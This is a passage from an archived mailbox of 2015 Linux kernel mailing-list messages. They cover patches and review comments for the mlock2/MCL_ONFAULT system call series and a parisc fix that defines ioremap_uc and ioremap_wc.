 		mlock_fixup(vma, &prev, vma->vm_start, vma->vm_end, newflags);
@@ -697,7 +727,8 @@ SYSCALL_DEFINE1(mlockall, int, flags)
 	unsigned long lock_limit;
 	int ret = -EINVAL;
 
-	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE)))
+	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT)) ||
+	    flags == MCL_ONFAULT)
 		goto out;
 
 	ret = -EPERM;
-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH -next] parisc: Define ioremap_uc and ioremap_wc
Date: Fri, 31 Jul 2015 19:34:46 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <1438396486-20937-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1438396503 32392 80.91.229.3 (1 Aug 2015 02:35:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 1 Aug 2015 02:35:03 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, Guenter Roeck <linux@roeck-us.net>,
	"Luis R. Rodriguez" <mcgrof@suse.com>,
	Paul Gortmaker <paul.gortmaker@windriver.com>
To: "James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 01 04:34:54 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZLMdS-0005nT-2U
	for glpp-linux-parisc@plane.gmane.org; Sat, 01 Aug 2015 04:34:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751255AbbHACew (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jul 2015 22:34:52 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:57062 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750877AbbHACew (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jul 2015 22:34:52 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=Message-Id:Date:Subject:Cc:To:From; bh=GDtB8ZVmMtq1UCGaswn7eWpiRsW/t058PcAPBn+GDq4=;
	b=vO7yybU0BzCYn0I0IZchQpWXvrc/CbQC5RUoA79qt7aMqcymLL584UmYdQhuYcXg3AFfscP0BVEl4VsQa4c3L8JOVRQhp+WYcMEb6DJ1+1RTK5NM6Xu/Qpdeu0MDGij6t6bda5wrne2V2yOKILhXiJwaFWTVwygJpU5R3Tlxyl4=;
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:59230 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.85)
	(envelope-from <linux@roeck-us.net>)
	id 1ZLMdN-003Kvf-RP; Sat, 01 Aug 2015 02:34:50 +0000
X-Mailer: git-send-email 2.1.4
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=-1.0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: authenticated_id: guenter@roeck-us.net
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25893 gmane.linux.kernel:2010419
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25893>

Commit 3cc2dac5be3f ("drivers/video/fbdev/atyfb: Replace MTRR UC hole
with strong UC") introduces calls to ioremap_wc and ioremap_uc. This
causes build failures with parisc:allmodconfig. Map the missing
functions to ioremap_nocache.

Fixes: 3cc2dac5be3f ("drivers/video/fbdev/atyfb:
	Replace MTRR UC hole with strong UC")
Cc: Luis R. Rodriguez <mcgrof@suse.com>
Cc: Paul Gortmaker <paul.gortmaker@windriver.com>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/parisc/include/asm/io.h | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/parisc/include/asm/io.h b/arch/parisc/include/asm/io.h
index 8cd0abf28ffb..1a16f1d1075f 100644
--- a/arch/parisc/include/asm/io.h
+++ b/arch/parisc/include/asm/io.h
@@ -137,6 +137,8 @@ static inline void __iomem * ioremap(unsigned long offset, unsigned long size)
 	return __ioremap(offset, size, _PAGE_NO_CACHE);
 }
 #define ioremap_nocache(off, sz)	ioremap((off), (sz))
+#define ioremap_wc			ioremap_nocache
+#define ioremap_uc			ioremap_nocache
 
 extern void iounmap(const volatile void __iomem *addr);
 
-- 
2.1.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vlastimil Babka <vbabka@suse.cz>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH V6 2/6] mm: mlock: Add new mlock system call
Date: Thu, 6 Aug 2015 16:00:33 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <55C36881.8050301@suse.cz>
References: <1438184575-10537-1-git-send-email-emunson@akamai.com>
 <1438184575-10537-3-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1438869696 13079 80.91.229.3 (6 Aug 2015 14:01:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 6 Aug 2015 14:01:36 +0000 (UTC)
Cc: Michal Hocko <mhocko@suse.cz>, Heiko Carstens
 <heiko.carstens@de.ibm.com>, Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Stephen Rothwell <sfr@canb.auug.org.au>, Guenter Roeck <linux@roeck-us.net>,
 linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
 linux-arm-kernel@lists.infradead.org,
 adi-buildroot-devel@lists.sourceforge.net, linux-cris-kernel@axis.com,
 linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
 linux-am33-list@redhat.com, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
 linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
 linux-xtensa@linux-xtensa.org, linux-api@vger.kernel.org,
 linux-arch@vger.kernel.org, linux-mm@kvack.org
To: Eric B Munson <emunson@akamai.com>,
 Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Thu Aug 06 16:01:23 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZNLj2-0008F4-AJ
	for glkm-linux-mm-2@m.gmane.org; Thu, 06 Aug 2015 16:00:52 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 36A6A280244; Thu,  6 Aug 2015 10:00:45 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 31A4F6B0255; Thu,  6 Aug 2015 10:00:45 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 1E279280244; Thu,  6 Aug 2015 10:00:45 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wi0-f175.google.com (mail-wi0-f175.google.com [209.85.212.175])
	by kanga.kvack.org (Postfix) with ESMTP id D32F56B0253
	for <linux-mm@kvack.org>; Thu,  6 Aug 2015 10:00:44 -0400 (EDT)
Original-Received: by wicne3 with SMTP id ne3so23959618wic.1
        for <linux-mm@kvack.org>; Thu, 06 Aug 2015 07:00:44 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:subject:to
         :references:cc:from:message-id:date:user-agent:mime-version
         :in-reply-to:content-type:content-transfer-encoding;
        bh=DYjWn5UFt6+qgJA5PRfCDDfUaJPWfX4bW1mZ6uQXqdk=;
        b=UCBFlL8ZGwcvef1V8pZs6yoFmmTvee16tMjwrXgvCUTERzMcSA/xOFLA1WoS4Mh78Q
         kLIqeN+Rt25OAVl6d6Y4cJSh74ZY++Tb/SILsObc2pgH8w6jl33mZ8FwGYJEmlWofle/
         J2pR8+4hbr1OXNUe/STllkkqKoRyHmnFeqVnGif6fzIHCjmCBEKUeGhBo7U7ct8RmV05
         FowBljp4B2RT3Bfid5oLHQ15oTsMuRqUSq0lTUmJkmmCHxuBIPZxBEJwdlLfKo2BSWjC
         E56mIm7Q59hCCiOC6Pp4Ybr3IAL936tXt05/vAtfwUdTU8w/S3xuUZK2csk/qxBgI5x2
         0zUw==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of vbabka@suse.cz designates 195.135.220.15 as permitted sender) smtp.mail=vbabka@suse.cz
X-Gm-Message-State: ALoCoQki9krKndDSrtZnjBdfRlz9r0oMpditfZLQnFjBKMo93GF3Tj5qh9nlPScHExFK17HtkIatL4G1PMjYv5dZzarAlb4o/1FJ0GQovPAsU6WblgDHPF3hSFe8TQ7nHzNYYOaSeUL92mDKic3NB3FFaMMQhRepENwvMhIODhEVEXfMJWQVil57wDjH4GtRQIslxQLDoNLd
X-Received: by 10.180.109.161 with SMTP id ht1mr7022018wib.10.1438869644304;
        Thu, 06 Aug 2015 07:00:44 -0700 (PDT)
X-Received: by 10.180.109.161 with SMTP id ht1mr7021883wib.10.1438869643293;
        Thu, 06 Aug 2015 07:00:43 -0700 (PDT)
Original-Received: from mx2.suse.de (mx2.suse.de. [195.135.220.15])
        by mx.google.com with ESMTPS id e14si13035550wjq.46.2015.08.06.07.00.42
        for <linux-mm@kvack.org>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Thu, 06 Aug 2015 07:00:43 -0700 (PDT)
Received-SPF: pass (google.com: domain of vbabka@suse.cz designates 195.135.220.15 as permitted sender) client-ip=195.135.220.15;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of vbabka@suse.cz designates 195.135.220.15 as permitted sender) smtp.mail=vbabka@suse.cz
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id ABC44ADB8;
	Thu,  6 Aug 2015 14:00:40 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <1438184575-10537-3-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136828 gmane.linux.ports.alpha:3267 gmane.linux.kernel:2014391 gmane.linux.ports.arm.kernel:432378 gmane.linux.ports.ia64:25656 gmane.linux.ports.parisc:25894 gmane.linux.ports.ppc64.devel:116460 gmane.linux.ports.sh.devel:47711 gmane.linux.ports.sparc:21359 gmane.linux.kernel.api:13466 gmane.linux.kernel.cross-arch:28781
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136828>

On 07/29/2015 05:42 PM, Eric B Munson wrote:
> With the refactored mlock code, introduce a new system call for mlock.
> The new call will allow the user to specify what lock states are being
> added.  mlock2 is trivial at the moment, but a follow on patch will add
> a new mlock state making it useful.
>
> Signed-off-by: Eric B Munson <emunson@akamai.com>
> Cc: Michal Hocko <mhocko@suse.cz>
> Cc: Vlastimil Babka <vbabka@suse.cz>

Acked-by: Vlastimil Babka <vbabka@suse.cz>

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vlastimil Babka <vbabka-AlSwsSmVLrQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.api,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.mm
Subject: Re: [PATCH V6 4/6] mm: mlock: Add mlock flags to enable
 VM_LOCKONFAULT usage
Date: Fri, 7 Aug 2015 13:50:01 +0200
Lines: 84
Approved: news@gmane.org
Message-ID: <55C49B69.9050805@suse.cz>
References: <1438184575-10537-1-git-send-email-emunson@akamai.com>
 <1438184575-10537-5-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1438948221 32373 80.91.229.3 (7 Aug 2015 11:50:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 7 Aug 2015 11:50:21 +0000 (UTC)
Cc: Michal Hocko <mhocko-AlSwsSmVLrQ@public.gmane.org>, Jonathan Corbet <corbet-T1hC0tSOHrs@public.gmane.org>,
	"Kirill A. Shutemov" <kirill-oKw7cIdHH8eLwutG50LtGA@public.gmane.org>,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org
To: Eric B Munson <emunson-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org>,
	Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Original-X-From: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Fri Aug 07 13:50:10 2015
Return-path: <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1ZNgA6-0005kx-Am
	for glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Fri, 07 Aug 2015 13:50:10 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752561AbbHGLuI (ORCPT <rfc822;glka-linux-api@m.gmane.org>);
	Fri, 7 Aug 2015 07:50:08 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:44535 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752524AbbHGLuG (ORCPT <rfc822;linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Fri, 7 Aug 2015 07:50:06 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id D96F1AAC2;
	Fri,  7 Aug 2015 11:50:02 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <1438184575-10537-5-git-send-email-emunson-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org>
Original-Sender: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-api.vger.kernel.org>
X-Mailing-List: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.api:13471 gmane.linux.ports.alpha:3268 gmane.linux.kernel:2015273 gmane.linux.ports.mips.general:49861 gmane.linux.ports.parisc:25895 gmane.linux.ports.ppc64.devel:116526 gmane.linux.ports.sparc:21362 gmane.linux.kernel.cross-arch:28797 gmane.linux.kernel.mm:136868
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.api/13471>

On 07/29/2015 05:42 PM, Eric B Munson wrote:
> The previous patch introduced a flag that specified pages in a VMA
> should be placed on the unevictable LRU, but they should not be made
> present when the area is created.  This patch adds the ability to set
> this state via the new mlock system calls.
>
> We add MLOCK_ONFAULT for mlock2 and MCL_ONFAULT for mlockall.
> MLOCK_ONFAULT will set the VM_LOCKONFAULT modifier for VM_LOCKED.
> MCL_ONFAULT should be used as a modifier to the two other mlockall
> flags.  When used with MCL_CURRENT, all current mappings will be marked
> with VM_LOCKED | VM_LOCKONFAULT.  When used with MCL_FUTURE, the
> mm->def_flags will be marked with VM_LOCKED | VM_LOCKONFAULT.  When used
> with both MCL_CURRENT and MCL_FUTURE, all current mappings and
> mm->def_flags will be marked with VM_LOCKED | VM_LOCKONFAULT.
>
> Prior to this patch, mlockall() will unconditionally clear the
> mm->def_flags any time it is called without MCL_FUTURE.  This behavior
> is maintained after adding MCL_ONFAULT.  If a call to
> mlockall(MCL_FUTURE) is followed by mlockall(MCL_CURRENT), the
> mm->def_flags will be cleared and new VMAs will be unlocked.  This
> remains true with or without MCL_ONFAULT in either mlockall()
> invocation.
>
> munlock() will unconditionally clear both vma flags.  munlockall()
> unconditionally clears for VMA flags on all VMAs and in the
> mm->def_flags field.
>
> Signed-off-by: Eric B Munson <emunson-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org>
> Cc: Michal Hocko <mhocko-AlSwsSmVLrQ@public.gmane.org>
> Cc: Vlastimil Babka <vbabka-AlSwsSmVLrQ@public.gmane.org>

The logic seems ok, although the fact that apply_mlockall_flags() is 
shared by both mlockall and munlockall makes it even more subtle than 
before :)

Anyway, just some nitpicks below.

Acked-by: Vlastimil Babka <vbabka-AlSwsSmVLrQ@public.gmane.org>

[...]

> +/*
> + * Take the MCL_* flags passed into mlockall (or 0 if called from munlockall)
> + * and translate into the appropriate modifications to mm->def_flags and/or the
> + * flags for all current VMAs.
> + *
> + * There are a couple of sublties with this.  If mlockall() is called multiple

                             ^ typo

> + * times with different flags, the values do not necessarily stack.  If mlockall
> + * is called once including the MCL_FUTURE flag and then a second time without
> + * it, VM_LOCKED and VM_LOCKONFAULT will be cleared from mm->def_flags.
> + */
>   static int apply_mlockall_flags(int flags)
>   {
>   	struct vm_area_struct * vma, * prev = NULL;
> +	vm_flags_t to_add = 0;
>
> -	if (flags & MCL_FUTURE)
> +	current->mm->def_flags &= ~(VM_LOCKED | VM_LOCKONFAULT);
> +	if (flags & MCL_FUTURE) {
>   		current->mm->def_flags |= VM_LOCKED;
> -	else
> -		current->mm->def_flags &= ~VM_LOCKED;
>
> -	if (flags == MCL_FUTURE)
> -		goto out;
> +		if (flags & MCL_ONFAULT)
> +			current->mm->def_flags |= VM_LOCKONFAULT;
> +
> +		/*
> +		 * When there were only two flags, we used to early out if only
> +		 * MCL_FUTURE was set.  Now that we have MCL_ONFAULT, we can
> +		 * only early out if MCL_FUTURE is set, but MCL_CURRENT is not.

Describing the relation to history of individual code lines in such 
detail is noise imho. The stacking subtleties is already described above.

> +		 * This is done, even though it promotes odd behavior, to
> +		 * maintain behavior from older kernels
> +		 */
> +		if (!(flags & MCL_CURRENT))
> +			goto out;

From - Thu Nov 08 21:37:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [PATCH v7 4/6] mm: mlock: Add mlock flags to enable VM_LOCKONFAULT usage
Date: Sun,  9 Aug 2015 01:22:54 -0400
Lines: 293
Approved: news@gmane.org
Message-ID: <1439097776-27695-5-git-send-email-emunson@akamai.com>
References: <1439097776-27695-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439097795 10235 80.91.229.3 (9 Aug 2015 05:23:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 9 Aug 2015 05:23:15 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	Jonathan Corbet <corbet@lwn.net>,
	"Kirill A. Shutemov" <kirill@shutemov.name>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org,
	linux-mm@kvack.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Sun Aug 09 07:23:04 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZOJ4Z-000530-8K
	for glkm-linux-mm-2@m.gmane.org; Sun, 09 Aug 2015 07:23:03 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 28A019003C7; Sun,  9 Aug 2015 01:23:01 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 212696B0254; Sun,  9 Aug 2015 01:23:01 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 0B2A39003C7; Sun,  9 Aug 2015 01:23:01 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qg0-f48.google.com (mail-qg0-f48.google.com [209.85.192.48])
	by kanga.kvack.org (Postfix) with ESMTP id D1FC86B0253
	for <linux-mm@kvack.org>; Sun,  9 Aug 2015 01:23:00 -0400 (EDT)
Original-Received: by qgeg42 with SMTP id g42so62749814qge.1
        for <linux-mm@kvack.org>; Sat, 08 Aug 2015 22:23:00 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=B/Fe0aqfoVPIlsvZitXmMSerfemjWTCIur8pyB/AWUg=;
        b=mr0s8fP+I+RAjuj5s+VPCt6bFXRfjosvAnjV37qGk5vThsOONg80H8SUF/kqvEt4kG
         SpwKPxQqBPxIMjL5ZVfkVXpfPhQvRWUp4JgBqphyPmtbugKUoZjNthR48kuLPz16aBlJ
         nRyn4WFTANoMXNwsVUsQLRj1HSMX59OQOv2OyjF5+iih1+ueeKDXID2xK4e7KQc3B/ts
         GGYd3yZlLVt7cnwup8R4kdRMF+2KdoqlZDVvHu5d0LsblpeJVkbUrT4pp0W5nPR8uqcX
         ZfRUCoDBLaBrxSo7t2nXEgbO2j/foneN5yB/JDima3LrgjSsHs7V3sVpfHywgeVUlS2J
         c3MQ==
X-Gm-Message-State: ALoCoQmrREvEfHEJltsdAD0POurdnOWvgZFrJpBncA3z6D9ImJwFHXuUN0uwOxXjhjb3YQCgNYvwSMpF/iDNIR/X67KauIaCBIOnC5mV+9rOD/R37omyrbbMKucplMZqEn1B+FSuXT7Fz1mIXnBMzUdjZl7JJ4U+TxZThnSVAw0vlWlvqs6ro/4A39kRCFerJVQmnDVpifMZ
X-Received: by 10.140.201.200 with SMTP id w191mr29263138qha.50.1439097780580;
        Sat, 08 Aug 2015 22:23:00 -0700 (PDT)
X-Received: by 10.140.201.200 with SMTP id w191mr29263087qha.50.1439097779823;
        Sat, 08 Aug 2015 22:22:59 -0700 (PDT)
Original-Received: from prod-mail-xrelay05.akamai.com ([23.79.238.179])
        by mx.google.com with ESMTP id g9si27496934qgf.41.2015.08.08.22.22.59
        for <linux-mm@kvack.org>;
        Sat, 08 Aug 2015 22:22:59 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 23.79.238.179 as permitted sender) client-ip=23.79.238.179;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 23.79.238.179 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay05.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 450024DF24;
	Sun,  9 Aug 2015 05:22:59 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (unknown [172.17.121.112])
	by prod-mail-xrelay05.akamai.com (Postfix) with ESMTP id 2C1274DF20;
	Sun,  9 Aug 2015 05:22:59 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1439097779; bh=4CXP1yfmHLxzPLZ5AJBI5TlMszWfJZODgJd1eLXgpn4=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=hFRM4Ac8wMx2wELRsmk3399QdrydmoEcsjM9LHvQfbr8V3tzRV++GIhoWvVg4cqhD
	 aDo8iecdRxGvZxKm9DENcSKgGRRCfkhhPdPTiwtOGZDKpzgKVnV0D1jBRTojkZzhNw
	 1uGo8rLhP5FbKrMVzDcw6hX02W1VMPUNSZa8Ipu4=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.13.174])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 23F92800C1;
	Sun,  9 Aug 2015 05:22:59 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439097776-27695-1-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136897 gmane.linux.ports.alpha:3269 gmane.linux.kernel:2016249 gmane.linux.ports.mips.general:49891 gmane.linux.ports.parisc:25896 gmane.linux.ports.ppc64.devel:116574 gmane.linux.ports.sparc:21369 gmane.linux.kernel.cross-arch:28815 gmane.linux.kernel.api:13486
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136897>

The previous patch introduced a flag that specified pages in a VMA
should be placed on the unevictable LRU, but they should not be made
present when the area is created.  This patch adds the ability to set
this state via the new mlock system calls.

We add MLOCK_ONFAULT for mlock2 and MCL_ONFAULT for mlockall.
MLOCK_ONFAULT will set the VM_LOCKONFAULT modifier for VM_LOCKED.
MCL_ONFAULT should be used as a modifier to the two other mlockall
